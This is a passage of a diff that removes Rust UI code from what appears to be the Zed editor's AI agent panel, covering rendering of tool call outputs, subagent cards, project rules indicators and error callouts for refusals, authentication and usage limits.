-        session_id: &acp::SessionId,
-        entry_ix: usize,
-        content: &ToolCallContent,
-        context_ix: usize,
-        tool_call: &ToolCall,
-        card_layout: bool,
-        is_image_tool_call: bool,
-        has_failed: bool,
-        focus_handle: &FocusHandle,
-        window: &Window,
-        cx: &Context<Self>,
-    ) -> AnyElement {
-        match content {
-            ToolCallContent::ContentBlock(content) => {
-                if let Some(resource_link) = content.resource_link() {
-                    self.render_resource_link(resource_link, cx)
-                } else if let Some(markdown) = content.markdown() {
-                    self.render_markdown_output(
-                        markdown.clone(),
-                        tool_call.id.clone(),
-                        context_ix,
-                        card_layout,
-                        window,
-                        cx,
-                    )
-                } else if let Some(image) = content.image() {
-                    let location = tool_call.locations.first().cloned();
-                    self.render_image_output(
-                        entry_ix,
-                        image.clone(),
-                        location,
-                        card_layout,
-                        is_image_tool_call,
-                        cx,
-                    )
-                } else {
-                    Empty.into_any_element()
-                }
-            }
-            ToolCallContent::Diff(diff) => {
-                self.render_diff_editor(entry_ix, diff, tool_call, has_failed, cx)
-            }
-            ToolCallContent::Terminal(terminal) => self.render_terminal_tool_call(
-                session_id,
-                entry_ix,
-                terminal,
-                tool_call,
-                focus_handle,
-                window,
-                cx,
-            ),
-        }
-    }
-
-    fn render_resource_link(
-        &self,
-        resource_link: &acp::ResourceLink,
-        cx: &Context<Self>,
-    ) -> AnyElement {
-        let uri: SharedString = resource_link.uri.clone().into();
-        let is_file = resource_link.uri.strip_prefix("file://");
-
-        let Some(project) = self.project.upgrade() else {
-            return Empty.into_any_element();
-        };
-
-        let label: SharedString = if let Some(abs_path) = is_file {
-            if let Some(project_path) = project
-                .read(cx)
-                .project_path_for_absolute_path(&Path::new(abs_path), cx)
-                && let Some(worktree) = project
-                    .read(cx)
-                    .worktree_for_id(project_path.worktree_id, cx)
-            {
-                worktree
-                    .read(cx)
-                    .full_path(&project_path.path)
-                    .to_string_lossy()
-                    .to_string()
-                    .into()
-            } else {
-                abs_path.to_string().into()
-            }
-        } else {
-            uri.clone()
-        };
-
-        let button_id = SharedString::from(format!("item-{}", uri));
-
-        div()
-            .ml(rems(0.4))
-            .pl_2p5()
-            .border_l_1()
-            .border_color(self.tool_card_border_color(cx))
-            .overflow_hidden()
-            .child(
-                Button::new(button_id, label)
-                    .label_size(LabelSize::Small)
-                    .color(Color::Muted)
-                    .truncate(true)
-                    .when(is_file.is_none(), |this| {
-                        this.icon(IconName::ArrowUpRight)
-                            .icon_size(IconSize::XSmall)
-                            .icon_color(Color::Muted)
-                    })
-                    .on_click(cx.listener({
-                        let workspace = self.workspace.clone();
-                        move |_, _, window, cx: &mut Context<Self>| {
-                            open_link(uri.clone(), &workspace, window, cx);
-                        }
-                    })),
-            )
-            .into_any_element()
-    }
-
-    fn render_diff_editor(
-        &self,
-        entry_ix: usize,
-        diff: &Entity<acp_thread::Diff>,
-        tool_call: &ToolCall,
-        has_failed: bool,
-        cx: &Context<Self>,
-    ) -> AnyElement {
-        let tool_progress = matches!(
-            &tool_call.status,
-            ToolCallStatus::InProgress | ToolCallStatus::Pending
-        );
-
-        let revealed_diff_editor = if let Some(entry) =
-            self.entry_view_state.read(cx).entry(entry_ix)
-            && let Some(editor) = entry.editor_for_diff(diff)
-            && diff.read(cx).has_revealed_range(cx)
-        {
-            Some(editor)
-        } else {
-            None
-        };
-
-        let show_top_border = !has_failed || revealed_diff_editor.is_some();
-
-        v_flex()
-            .h_full()
-            .when(show_top_border, |this| {
-                this.border_t_1()
-                    .when(has_failed, |this| this.border_dashed())
-                    .border_color(self.tool_card_border_color(cx))
-            })
-            .child(if let Some(editor) = revealed_diff_editor {
-                editor.into_any_element()
-            } else if tool_progress && self.as_native_connection(cx).is_some() {
-                self.render_diff_loading(cx)
-            } else {
-                Empty.into_any()
-            })
-            .into_any()
-    }
-
-    fn render_markdown_output(
-        &self,
-        markdown: Entity<Markdown>,
-        tool_call_id: acp::ToolCallId,
-        context_ix: usize,
-        card_layout: bool,
-        window: &Window,
-        cx: &Context<Self>,
-    ) -> AnyElement {
-        let button_id = SharedString::from(format!("tool_output-{:?}", tool_call_id));
-
-        v_flex()
-            .gap_2()
-            .map(|this| {
-                if card_layout {
-                    this.when(context_ix > 0, |this| {
-                        this.pt_2()
-                            .border_t_1()
-                            .border_color(self.tool_card_border_color(cx))
-                    })
-                } else {
-                    this.ml(rems(0.4))
-                        .px_3p5()
-                        .border_l_1()
-                        .border_color(self.tool_card_border_color(cx))
-                }
-            })
-            .text_xs()
-            .text_color(cx.theme().colors().text_muted)
-            .child(self.render_markdown(
-                markdown,
-                MarkdownStyle::themed(MarkdownFont::Agent, window, cx),
-            ))
-            .when(!card_layout, |this| {
-                this.child(
-                    IconButton::new(button_id, IconName::ChevronUp)
-                        .full_width()
-                        .style(ButtonStyle::Outlined)
-                        .icon_color(Color::Muted)
-                        .on_click(cx.listener({
-                            move |this: &mut Self, _, _, cx: &mut Context<Self>| {
-                                this.expanded_tool_calls.remove(&tool_call_id);
-                                cx.notify();
-                            }
-                        })),
-                )
-            })
-            .into_any_element()
-    }
-
-    fn render_image_output(
-        &self,
-        entry_ix: usize,
-        image: Arc<gpui::Image>,
-        location: Option<acp::ToolCallLocation>,
-        card_layout: bool,
-        show_dimensions: bool,
-        cx: &Context<Self>,
-    ) -> AnyElement {
-        let dimensions_label = if show_dimensions {
-            let format_name = match image.format() {
-                gpui::ImageFormat::Png => "PNG",
-                gpui::ImageFormat::Jpeg => "JPEG",
-                gpui::ImageFormat::Webp => "WebP",
-                gpui::ImageFormat::Gif => "GIF",
-                gpui::ImageFormat::Svg => "SVG",
-                gpui::ImageFormat::Bmp => "BMP",
-                gpui::ImageFormat::Tiff => "TIFF",
-                gpui::ImageFormat::Ico => "ICO",
-            };
-            let dimensions = image::ImageReader::new(std::io::Cursor::new(image.bytes()))
-                .with_guessed_format()
-                .ok()
-                .and_then(|reader| reader.into_dimensions().ok());
-            dimensions.map(|(w, h)| format!("{}×{} {}", w, h, format_name))
-        } else {
-            None
-        };
-
-        v_flex()
-            .gap_2()
-            .map(|this| {
-                if card_layout {
-                    this
-                } else {
-                    this.ml(rems(0.4))
-                        .px_3p5()
-                        .border_l_1()
-                        .border_color(self.tool_card_border_color(cx))
-                }
-            })
-            .when(dimensions_label.is_some() || location.is_some(), |this| {
-                this.child(
-                    h_flex()
-                        .w_full()
-                        .justify_between()
-                        .items_center()
-                        .children(dimensions_label.map(|label| {
-                            Label::new(label)
-                                .size(LabelSize::XSmall)
-                                .color(Color::Muted)
-                                .buffer_font(cx)
-                        }))
-                        .when_some(location, |this, _loc| {
-                            this.child(
-                                Button::new(("go-to-file", entry_ix), "Go to File")
-                                    .label_size(LabelSize::Small)
-                                    .on_click(cx.listener(move |this, _, window, cx| {
-                                        this.open_tool_call_location(entry_ix, 0, window, cx);
-                                    })),
-                            )
-                        }),
-                )
-            })
-            .child(
-                img(image)
-                    .max_w_96()
-                    .max_h_96()
-                    .object_fit(ObjectFit::ScaleDown),
-            )
-            .into_any_element()
-    }
-
-    fn render_subagent_tool_call(
-        &self,
-        active_session_id: &acp::SessionId,
-        entry_ix: usize,
-        tool_call: &ToolCall,
-        subagent_session_id: Option<acp::SessionId>,
-        focus_handle: &FocusHandle,
-        window: &Window,
-        cx: &Context<Self>,
-    ) -> Div {
-        let subagent_thread_view = subagent_session_id.and_then(|id| {
-            self.server_view
-                .upgrade()
-                .and_then(|server_view| server_view.read(cx).as_connected())
-                .and_then(|connected| connected.threads.get(&id))
-        });
-
-        let content = self.render_subagent_card(
-            active_session_id,
-            entry_ix,
-            subagent_thread_view,
-            tool_call,
-            focus_handle,
-            window,
-            cx,
-        );
-
-        v_flex().mx_5().my_1p5().gap_3().child(content)
-    }
-
-    fn render_subagent_card(
-        &self,
-        active_session_id: &acp::SessionId,
-        entry_ix: usize,
-        thread_view: Option<&Entity<AcpThreadView>>,
-        tool_call: &ToolCall,
-        focus_handle: &FocusHandle,
-        window: &Window,
-        cx: &Context<Self>,
-    ) -> AnyElement {
-        let thread = thread_view
-            .as_ref()
-            .map(|view| view.read(cx).thread.clone());
-        let subagent_session_id = thread
-            .as_ref()
-            .map(|thread| thread.read(cx).session_id().clone());
-        let action_log = thread.as_ref().map(|thread| thread.read(cx).action_log());
-        let changed_buffers = action_log
-            .map(|log| log.read(cx).changed_buffers(cx))
-            .unwrap_or_default();
-
-        let is_expanded = self.expanded_tool_calls.contains(&tool_call.id);
-        let files_changed = changed_buffers.len();
-        let diff_stats = DiffStats::all_files(&changed_buffers, cx);
-
-        let is_running = matches!(
-            tool_call.status,
-            ToolCallStatus::Pending | ToolCallStatus::InProgress
-        );
-        let is_canceled_or_failed = matches!(
-            tool_call.status,
-            ToolCallStatus::Canceled | ToolCallStatus::Failed | ToolCallStatus::Rejected
-        );
-
-        let has_title = thread
-            .as_ref()
-            .is_some_and(|t| !t.read(cx).title().is_empty());
-        let has_no_title_or_canceled = !has_title || is_canceled_or_failed;
-
-        let title = thread
-            .as_ref()
-            .map(|t| t.read(cx).title())
-            .unwrap_or_else(|| {
-                if is_canceled_or_failed {
-                    "Subagent Canceled"
-                } else {
-                    "Spawning Subagent…"
-                }
-                .into()
-            });
-
-        let card_header_id = format!("subagent-header-{}", entry_ix);
-        let diff_stat_id = format!("subagent-diff-{}", entry_ix);
-
-        let icon = h_flex().w_4().justify_center().child(if is_running {
-            SpinnerLabel::new()
-                .size(LabelSize::Small)
-                .into_any_element()
-        } else if is_canceled_or_failed {
-            Icon::new(IconName::Close)
-                .size(IconSize::Small)
-                .color(Color::Error)
-                .into_any_element()
-        } else {
-            Icon::new(IconName::Check)
-                .size(IconSize::Small)
-                .color(Color::Success)
-                .into_any_element()
-        });
-
-        let has_expandable_content = thread
-            .as_ref()
-            .map_or(false, |thread| !thread.read(cx).entries().is_empty());
-
-        let tooltip_meta_description = if is_expanded {
-            "Click to Collapse"
-        } else {
-            "Click to Preview"
-        };
-
-        v_flex()
-            .w_full()
-            .rounded_md()
-            .border_1()
-            .when(has_no_title_or_canceled, |this| this.border_dashed())
-            .border_color(self.tool_card_border_color(cx))
-            .overflow_hidden()
-            .child(
-                h_flex()
-                    .group(&card_header_id)
-                    .h_8()
-                    .p_1()
-                    .w_full()
-                    .justify_between()
-                    .when(!has_no_title_or_canceled, |this| {
-                        this.bg(self.tool_card_header_bg(cx))
-                    })
-                    .child(
-                        h_flex()
-                            .id(format!("subagent-title-{}", entry_ix))
-                            .px_1()
-                            .min_w_0()
-                            .size_full()
-                            .gap_2()
-                            .justify_between()
-                            .rounded_sm()
-                            .overflow_hidden()
-                            .child(
-                                h_flex()
-                                    .min_w_0()
-                                    .w_full()
-                                    .gap_1p5()
-                                    .child(icon)
-                                    .child(
-                                        Label::new(title.to_string())
-                                            .size(LabelSize::Custom(self.tool_name_font_size()))
-                                            .truncate(),
-                                    )
-                                    .when(files_changed > 0, |this| {
-                                        this.child(
-                                            Label::new(format!(
-                                                "— {} {} changed",
-                                                files_changed,
-                                                if files_changed == 1 { "file" } else { "files" }
-                                            ))
-                                            .size(LabelSize::Custom(self.tool_name_font_size()))
-                                            .color(Color::Muted),
-                                        )
-                                        .child(
-                                            DiffStat::new(
-                                                diff_stat_id.clone(),
-                                                diff_stats.lines_added as usize,
-                                                diff_stats.lines_removed as usize,
-                                            )
-                                            .label_size(LabelSize::Custom(
-                                                self.tool_name_font_size(),
-                                            )),
-                                        )
-                                    }),
-                            )
-                            .when(!has_no_title_or_canceled, |this| {
-                                this.tooltip(move |_, cx| {
-                                    Tooltip::with_meta(
-                                        title.to_string(),
-                                        None,
-                                        tooltip_meta_description,
-                                        cx,
-                                    )
-                                })
-                            })
-                            .when(has_expandable_content, |this| {
-                                this.cursor_pointer()
-                                    .hover(|s| s.bg(cx.theme().colors().element_hover))
-                                    .child(
-                                        div().visible_on_hover(card_header_id).child(
-                                            Icon::new(if is_expanded {
-                                                IconName::ChevronUp
-                                            } else {
-                                                IconName::ChevronDown
-                                            })
-                                            .color(Color::Muted)
-                                            .size(IconSize::Small),
-                                        ),
-                                    )
-                                    .on_click(cx.listener({
-                                        let tool_call_id = tool_call.id.clone();
-                                        move |this, _, _, cx| {
-                                            if this.expanded_tool_calls.contains(&tool_call_id) {
-                                                this.expanded_tool_calls.remove(&tool_call_id);
-                                            } else {
-                                                this.expanded_tool_calls
-                                                    .insert(tool_call_id.clone());
-                                            }
-                                            cx.notify();
-                                        }
-                                    }))
-                            }),
-                    )
-                    .when(is_running && subagent_session_id.is_some(), |buttons| {
-                        buttons.child(
-                            IconButton::new(format!("stop-subagent-{}", entry_ix), IconName::Stop)
-                                .icon_size(IconSize::Small)
-                                .icon_color(Color::Error)
-                                .tooltip(Tooltip::text("Stop Subagent"))
-                                .when_some(
-                                    thread_view
-                                        .as_ref()
-                                        .map(|view| view.read(cx).thread.clone()),
-                                    |this, thread| {
-                                        this.on_click(cx.listener(
-                                            move |_this, _event, _window, cx| {
-                                                thread.update(cx, |thread, cx| {
-                                                    thread.cancel(cx).detach();
-                                                });
-                                            },
-                                        ))
-                                    },
-                                ),
-                        )
-                    }),
-            )
-            .when_some(thread_view, |this, thread_view| {
-                let thread = &thread_view.read(cx).thread;
-                let pending_tool_call = self
-                    .conversation
-                    .read(cx)
-                    .pending_tool_call(thread.read(cx).session_id(), cx);
-
-                if let Some((_, subagent_tool_call_id, _)) = pending_tool_call {
-                    if let Some((entry_ix, tool_call)) =
-                        thread.read(cx).tool_call(&subagent_tool_call_id)
-                    {
-                        this.child(thread_view.read(cx).render_any_tool_call(
-                            active_session_id,
-                            entry_ix,
-                            tool_call,
-                            focus_handle,
-                            window,
-                            cx,
-                        ))
-                    } else {
-                        this
-                    }
-                } else {
-                    let session_id = thread.read(cx).session_id().clone();
-                    this.when(is_expanded, |this| {
-                        this.child(self.render_subagent_expanded_content(
-                            active_session_id,
-                            entry_ix,
-                            thread_view,
-                            is_running,
-                            tool_call,
-                            focus_handle,
-                            window,
-                            cx,
-                        ))
-                        .child(
-                            h_flex()
-                                .id(entry_ix)
-                                .py_1()
-                                .w_full()
-                                .justify_center()
-                                .border_t_1()
-                                .when(is_canceled_or_failed, |this| this.border_dashed())
-                                .border_color(cx.theme().colors().border_variant)
-                                .hover(|s| s.bg(cx.theme().colors().element_hover))
-                                .child(
-                                    Icon::new(IconName::Maximize)
-                                        .color(Color::Muted)
-                                        .size(IconSize::Small),
-                                )
-                                .tooltip(Tooltip::text("Make Subagent Full Screen"))
-                                .on_click(cx.listener(move |this, _event, window, cx| {
-                                    this.server_view
-                                        .update(cx, |this, cx| {
-                                            this.navigate_to_session(
-                                                session_id.clone(),
-                                                window,
-                                                cx,
-                                            );
-                                        })
-                                        .ok();
-                                })),
-                        )
-                    })
-                }
-            })
-            .into_any_element()
-    }
-
-    fn render_subagent_expanded_content(
-        &self,
-        active_session_id: &acp::SessionId,
-        entry_ix: usize,
-        thread_view: &Entity<AcpThreadView>,
-        is_running: bool,
-        tool_call: &ToolCall,
-        focus_handle: &FocusHandle,
-        window: &Window,
-        cx: &Context<Self>,
-    ) -> impl IntoElement {
-        const MAX_PREVIEW_ENTRIES: usize = 8;
-
-        let subagent_view = thread_view.read(cx);
-        let session_id = subagent_view.thread.read(cx).session_id().clone();
-
-        let base_container = || {
-            div()
-                .id(format!("subagent-content-{}", session_id))
-                .relative()
-                .w_full()
-                .h_56()
-                .border_t_1()
-                .border_color(self.tool_card_border_color(cx))
-                .overflow_hidden()
-        };
-
-        let editor_bg = cx.theme().colors().editor_background;
-        let overlay = || {
-            div()
-                .absolute()
-                .inset_0()
-                .size_full()
-                .bg(linear_gradient(
-                    180.,
-                    linear_color_stop(editor_bg, 0.),
-                    linear_color_stop(editor_bg.opacity(0.), 0.1),
-                ))
-                .block_mouse_except_scroll()
-        };
-
-        let show_thread_entries = is_running || tool_call.content.is_empty();
-
-        if show_thread_entries {
-            let scroll_handle = self
-                .subagent_scroll_handles
-                .borrow_mut()
-                .entry(session_id.clone())
-                .or_default()
-                .clone();
-            if is_running {
-                scroll_handle.scroll_to_bottom();
-            }
-
-            let entries = subagent_view.thread.read(cx).entries();
-            let total_entries = entries.len();
-            let start_ix = total_entries.saturating_sub(MAX_PREVIEW_ENTRIES);
-
-            let rendered_entries: Vec<AnyElement> = entries[start_ix..]
-                .iter()
-                .enumerate()
-                .map(|(i, entry)| {
-                    let actual_ix = start_ix + i;
-                    subagent_view.render_entry(actual_ix, total_entries + 1, entry, window, cx)
-                })
-                .collect();
-
-            base_container()
-                .child(
-                    div()
-                        .id(format!("subagent-entries-{}", session_id))
-                        .size_full()
-                        .track_scroll(&scroll_handle)
-                        .pb_1()
-                        .children(rendered_entries),
-                )
-                .child(overlay())
-                .into_any_element()
-        } else {
-            base_container()
-                .child(
-                    v_flex()
-                        .id(format!("subagent-done-content-{}", session_id))
-                        .size_full()
-                        .justify_end()
-                        .children(tool_call.content.iter().enumerate().map(
-                            |(content_ix, content)| {
-                                div().p_2().child(self.render_tool_call_content(
-                                    active_session_id,
-                                    entry_ix,
-                                    content,
-                                    content_ix,
-                                    tool_call,
-                                    true,
-                                    false,
-                                    matches!(
-                                        tool_call.status,
-                                        ToolCallStatus::Failed
-                                            | ToolCallStatus::Rejected
-                                            | ToolCallStatus::Canceled
-                                    ),
-                                    focus_handle,
-                                    window,
-                                    cx,
-                                ))
-                            },
-                        )),
-                )
-                .child(overlay())
-                .into_any_element()
-        }
-    }
-
-    fn render_rules_item(&self, cx: &Context<Self>) -> Option<AnyElement> {
-        let project_context = self
-            .as_native_thread(cx)?
-            .read(cx)
-            .project_context()
-            .read(cx);
-
-        let user_rules_text = if project_context.user_rules.is_empty() {
-            None
-        } else if project_context.user_rules.len() == 1 {
-            let user_rules = &project_context.user_rules[0];
-
-            match user_rules.title.as_ref() {
-                Some(title) => Some(format!("Using \"{title}\" user rule")),
-                None => Some("Using user rule".into()),
-            }
-        } else {
-            Some(format!(
-                "Using {} user rules",
-                project_context.user_rules.len()
-            ))
-        };
-
-        let first_user_rules_id = project_context
-            .user_rules
-            .first()
-            .map(|user_rules| user_rules.uuid.0);
-
-        let rules_files = project_context
-            .worktrees
-            .iter()
-            .filter_map(|worktree| worktree.rules_file.as_ref())
-            .collect::<Vec<_>>();
-
-        let rules_file_text = match rules_files.as_slice() {
-            &[] => None,
-            &[rules_file] => Some(format!(
-                "Using project {:?} file",
-                rules_file.path_in_worktree
-            )),
-            rules_files => Some(format!("Using {} project rules files", rules_files.len())),
-        };
-
-        if user_rules_text.is_none() && rules_file_text.is_none() {
-            return None;
-        }
-
-        let has_both = user_rules_text.is_some() && rules_file_text.is_some();
-
-        Some(
-            h_flex()
-                .px_2p5()
-                .child(
-                    Icon::new(IconName::Attach)
-                        .size(IconSize::XSmall)
-                        .color(Color::Disabled),
-                )
-                .when_some(user_rules_text, |parent, user_rules_text| {
-                    parent.child(
-                        h_flex()
-                            .id("user-rules")
-                            .ml_1()
-                            .mr_1p5()
-                            .child(
-                                Label::new(user_rules_text)
-                                    .size(LabelSize::XSmall)
-                                    .color(Color::Muted)
-                                    .truncate(),
-                            )
-                            .hover(|s| s.bg(cx.theme().colors().element_hover))
-                            .tooltip(Tooltip::text("View User Rules"))
-                            .on_click(move |_event, window, cx| {
-                                window.dispatch_action(
-                                    Box::new(OpenRulesLibrary {
-                                        prompt_to_select: first_user_rules_id,
-                                    }),
-                                    cx,
-                                )
-                            }),
-                    )
-                })
-                .when(has_both, |this| {
-                    this.child(
-                        Label::new("•")
-                            .size(LabelSize::XSmall)
-                            .color(Color::Disabled),
-                    )
-                })
-                .when_some(rules_file_text, |parent, rules_file_text| {
-                    parent.child(
-                        h_flex()
-                            .id("project-rules")
-                            .ml_1p5()
-                            .child(
-                                Label::new(rules_file_text)
-                                    .size(LabelSize::XSmall)
-                                    .color(Color::Muted),
-                            )
-                            .hover(|s| s.bg(cx.theme().colors().element_hover))
-                            .tooltip(Tooltip::text("View Project Rules"))
-                            .on_click(cx.listener(Self::handle_open_rules)),
-                    )
-                })
-                .into_any(),
-        )
-    }
-
-    fn tool_card_header_bg(&self, cx: &Context<Self>) -> Hsla {
-        cx.theme()
-            .colors()
-            .element_background
-            .blend(cx.theme().colors().editor_foreground.opacity(0.025))
-    }
-
-    fn tool_card_border_color(&self, cx: &Context<Self>) -> Hsla {
-        cx.theme().colors().border.opacity(0.8)
-    }
-
-    fn tool_name_font_size(&self) -> Rems {
-        rems_from_px(13.)
-    }
-
-    pub(crate) fn render_thread_error(
-        &mut self,
-        window: &mut Window,
-        cx: &mut Context<Self>,
-    ) -> Option<Div> {
-        let content = match self.thread_error.as_ref()? {
-            ThreadError::Other { message, .. } => {
-                self.render_any_thread_error(message.clone(), window, cx)
-            }
-            ThreadError::Refusal => self.render_refusal_error(cx),
-            ThreadError::AuthenticationRequired(error) => {
-                self.render_authentication_required_error(error.clone(), cx)
-            }
-            ThreadError::PaymentRequired => self.render_payment_required_error(cx),
-        };
-
-        Some(div().child(content))
-    }
-
-    fn render_refusal_error(&self, cx: &mut Context<'_, Self>) -> Callout {
-        let model_or_agent_name = self.current_model_name(cx);
-        let refusal_message = format!(
-            "{} refused to respond to this prompt. \
-            This can happen when a model believes the prompt violates its content policy \
-            or safety guidelines, so rephrasing it can sometimes address the issue.",
-            model_or_agent_name
-        );
-
-        Callout::new()
-            .severity(Severity::Error)
-            .title("Request Refused")
-            .icon(IconName::XCircle)
-            .description(refusal_message.clone())
-            .actions_slot(self.create_copy_button(&refusal_message))
-            .dismiss_action(self.dismiss_error_button(cx))
-    }
-
-    fn render_authentication_required_error(
-        &self,
-        error: SharedString,
-        cx: &mut Context<Self>,
-    ) -> Callout {
-        Callout::new()
-            .severity(Severity::Error)
-            .title("Authentication Required")
-            .icon(IconName::XCircle)
-            .description(error.clone())
-            .actions_slot(
-                h_flex()
-                    .gap_0p5()
-                    .child(self.authenticate_button(cx))
-                    .child(self.create_copy_button(error)),
-            )
-            .dismiss_action(self.dismiss_error_button(cx))
-    }
-
-    fn render_payment_required_error(&self, cx: &mut Context<Self>) -> Callout {
-        const ERROR_MESSAGE: &str =
-            "You reached your free usage limit. Upgrade to Zed Pro for more prompts.";
-
-        Callout::new()
-            .severity(Severity::Error)
-            .icon(IconName::XCircle)
-            .title("Free Usage Exceeded")
-            .description(ERROR_MESSAGE)
-            .actions_slot(
-                h_flex()
-                    .gap_0p5()
-                    .child(self.upgrade_button(cx))
-                    .child(self.create_copy_button(ERROR_MESSAGE)),
-            )
-            .dismiss_action(self.dismiss_error_button(cx))
-    }
-
-    fn upgrade_button(&self, cx: &mut Context<Self>) -> impl IntoElement {
-        Button::new("upgrade", "Upgrade")
-            .label_size(LabelSize::Small)
-            .style(ButtonStyle::Tinted(ui::TintColor::Accent))
-            .on_click(cx.listener({
-                move |this, _, _, cx| {
-                    this.clear_thread_error(cx);
-                    cx.open_url(&zed_urls::upgrade_to_zed_pro_url(cx));
-                }
-            }))
-    }
-
-    fn authenticate_button(&self, cx: &mut Context<Self>) -> impl IntoElement {
-        Button::new("authenticate", "Authenticate")
-            .label_size(LabelSize::Small)
-            .style(ButtonStyle::Filled)
-            .on_click(cx.listener({
-                move |this, _, window, cx| {
-                    let server_view = this.server_view.clone();
-                    let agent_name = this.agent_name.clone();
-
-                    this.clear_thread_error(cx);
-                    if let Some(message) = this.in_flight_prompt.take() {
-                        this.message_editor.update(cx, |editor, cx| {
-                            editor.set_message(message, window, cx);
-                        });
-                    }
-                    let connection = this.thread.read(cx).connection().clone();
-                    window.defer(cx, |window, cx| {
-                        AcpServerView::handle_auth_required(
-                            server_view,
-                            AuthRequired::new(),
-                            agent_name,
-                            connection,
-                            window,
-                            cx,
-                        );
-                    })
-                }
-            }))
-    }
-
-    fn current_model_name(&self, cx: &App) -> SharedString {
-        // For native agent (Zed Agent), use the specific model name (e.g., "Claude 3.5 Sonnet")
-        // For ACP agents, use the agent name (e.g., "Claude Agent", "Gemini CLI")
-        // This provides better clarity about what refused the request
-        if self.as_native_connection(cx).is_some() {
-            self.model_selector
-                .clone()
-                .and_then(|selector| selector.read(cx).active_model(cx))
-                .map(|model| model.name.clone())
-                .unwrap_or_else(|| SharedString::from("The model"))
-        } else {
-            // ACP agent - use the agent name (e.g., "Claude Agent", "Gemini CLI")
-            self.agent_name.clone()
-        }
-    }
-
-    fn render_any_thread_error(
-        &mut self,
-        error: SharedString,
-        window: &mut Window,
-        cx: &mut Context<'_, Self>,
-    ) -> Callout {
-        let can_resume = self.thread.read(cx).can_retry(cx);
-
-        let markdown = if let Some(markdown) = &self.thread_error_markdown {
-            markdown.clone()
-        } else {
-            let markdown = cx.new(|cx| Markdown::new(error.clone(), None, None, cx));
-            self.thread_error_markdown = Some(markdown.clone());
-            markdown
-        };
-
-        let markdown_style =
-            MarkdownStyle::themed(MarkdownFont::Agent, window, cx).with_muted_text(cx);
-        let description = self
-            .render_markdown(markdown, markdown_style)
-            .into_any_element();
-
-        Callout::new()
-            .severity(Severity::Error)
-            .icon(IconName::XCircle)
-            .title("An Error Happened")
-            .description_slot(description)
-            .actions_slot(
-                h_flex()
-                    .gap_0p5()
-                    .when(can_resume, |this| {
-                        this.child(
-                            IconButton::new("retry", IconName::RotateCw)
-                                .icon_size(IconSize::Small)
-                                .tooltip(Tooltip::text("Retry Generation"))
-                                .on_click(cx.listener(|this, _, _window, cx| {
-                                    this.retry_generation(cx);
-                                })),
-                        )
-                    })
-                    .child(self.create_copy_button(error.to_string())),
-            )
-            .dismiss_action(self.dismiss_error_button(cx))
-    }
-
-    fn render_markdown(&self, markdown: Entity<Markdown>, style: MarkdownStyle) -> MarkdownElement {
-        let workspace = self.workspace.clone();
-        MarkdownElement::new(markdown, style).on_url_click(move |text, window, cx| {
-            open_link(text, &workspace, window, cx);
-        })
-    }
-
-    fn create_copy_button(&self, message: impl Into<String>) -> impl IntoElement {
-        let message = message.into();
-
-        CopyButton::new("copy-error-message", message).tooltip_label("Copy Error Message")
-    }
-
-    fn dismiss_error_button(&self, cx: &mut Context<Self>) -> impl IntoElement {
-        IconButton::new("dismiss", IconName::Close)
-            .icon_size(IconSize::Small)
-            .tooltip(Tooltip::text("Dismiss"))
-            .on_click(cx.listener({
-                move |this, _, _, cx| {
-                    this.clear_thread_error(cx);
-                    cx.notify();
-                }
-            }))
-    }
-
-    fn render_resume_notice(_cx: &Context<Self>) -> AnyElement {
-        let description = "This agent does not support viewing previous messages. However, your session will still continue from where you last left off.";
-
-        div()
-            .px_2()
-            .pt_2()
-            .pb_3()
-            .w_full()
-            .child(
-                Callout::new()
-                    .severity(Severity::Info)
-                    .icon(IconName::Info)
-                    .title("Resumed Session")
-                    .description(description),
-            )
-            .into_any_element()
-    }
-
-    fn update_recent_history_from_cache(
-        &mut self,
-        history: &Entity<AcpThreadHistory>,
-        cx: &mut Context<Self>,
-    ) {
-        self.recent_history_entries = history.read(cx).get_recent_sessions(3);
-        self.hovered_recent_history_item = None;
-        cx.notify();
-    }
-
-    fn render_empty_state_section_header(
-        &self,
-        label: impl Into<SharedString>,
-        action_slot: Option<AnyElement>,
-        cx: &mut Context<Self>,
-    ) -> impl IntoElement {
-        div().pl_1().pr_1p5().child(
-            h_flex()
-                .mt_2()
-                .pl_1p5()
-                .pb_1()
-                .w_full()
-                .justify_between()
-                .border_b_1()
-                .border_color(cx.theme().colors().border_variant)
-                .child(
-                    Label::new(label.into())
-                        .size(LabelSize::Small)
-                        .color(Color::Muted),
-                )
-                .children(action_slot),
-        )
-    }
-
-    fn render_recent_history(&self, cx: &mut Context<Self>) -> AnyElement {
-        let render_history = !self.recent_history_entries.is_empty();
-
-        v_flex()
-            .size_full()
-            .when(render_history, |this| {
-                let recent_history = self.recent_history_entries.clone();
-                this.justify_end().child(
-                    v_flex()
-                        .child(
-                            self.render_empty_state_section_header(
-                                "Recent",
-                                Some(
-                                    Button::new("view-history", "View All")
-                                        .style(ButtonStyle::Subtle)
-                                        .label_size(LabelSize::Small)
-                                        .key_binding(
-                                            KeyBinding::for_action_in(
-                                                &OpenHistory,
-                                                &self.focus_handle(cx),
-                                                cx,
-                                            )
-                                            .map(|kb| kb.size(rems_from_px(12.))),
-                                        )
-                                        .on_click(move |_event, window, cx| {
-                                            window.dispatch_action(OpenHistory.boxed_clone(), cx);
-                                        })
-                                        .into_any_element(),
-                                ),
-                                cx,
-                            ),
-                        )
-                        .child(v_flex().p_1().pr_1p5().gap_1().children({
-                            let supports_delete = self.history.read(cx).supports_delete();
-                            recent_history
-                                .into_iter()
-                                .enumerate()
-                                .map(move |(index, entry)| {
-                                    // TODO: Add keyboard navigation.
-                                    let is_hovered =
-                                        self.hovered_recent_history_item == Some(index);
-                                    crate::acp::thread_history::AcpHistoryEntryElement::new(
-                                        entry,
-                                        self.server_view.clone(),
-                                    )
-                                    .hovered(is_hovered)
-                                    .supports_delete(supports_delete)
-                                    .on_hover(cx.listener(move |this, is_hovered, _window, cx| {
-                                        if *is_hovered {
-                                            this.hovered_recent_history_item = Some(index);
-                                        } else if this.hovered_recent_history_item == Some(index) {
-                                            this.hovered_recent_history_item = None;
-                                        }
-                                        cx.notify();
-                                    }))
-                                    .into_any_element()
-                                })
-                        })),
-                )
-            })
-            .into_any()
-    }
-
-    fn render_codex_windows_warning(&self, cx: &mut Context<Self>) -> Callout {
-        Callout::new()
-            .icon(IconName::Warning)
-            .severity(Severity::Warning)
-            .title("Codex on Windows")
-            .description("For best performance, run Codex in Windows Subsystem for Linux (WSL2)")
-            .actions_slot(
-                Button::new("open-wsl-modal", "Open in WSL")
-                    .icon_size(IconSize::Small)
-                    .icon_color(Color::Muted)
-                    .on_click(cx.listener({
-                        move |_, _, _window, cx| {
-                            #[cfg(windows)]
-                            _window.dispatch_action(
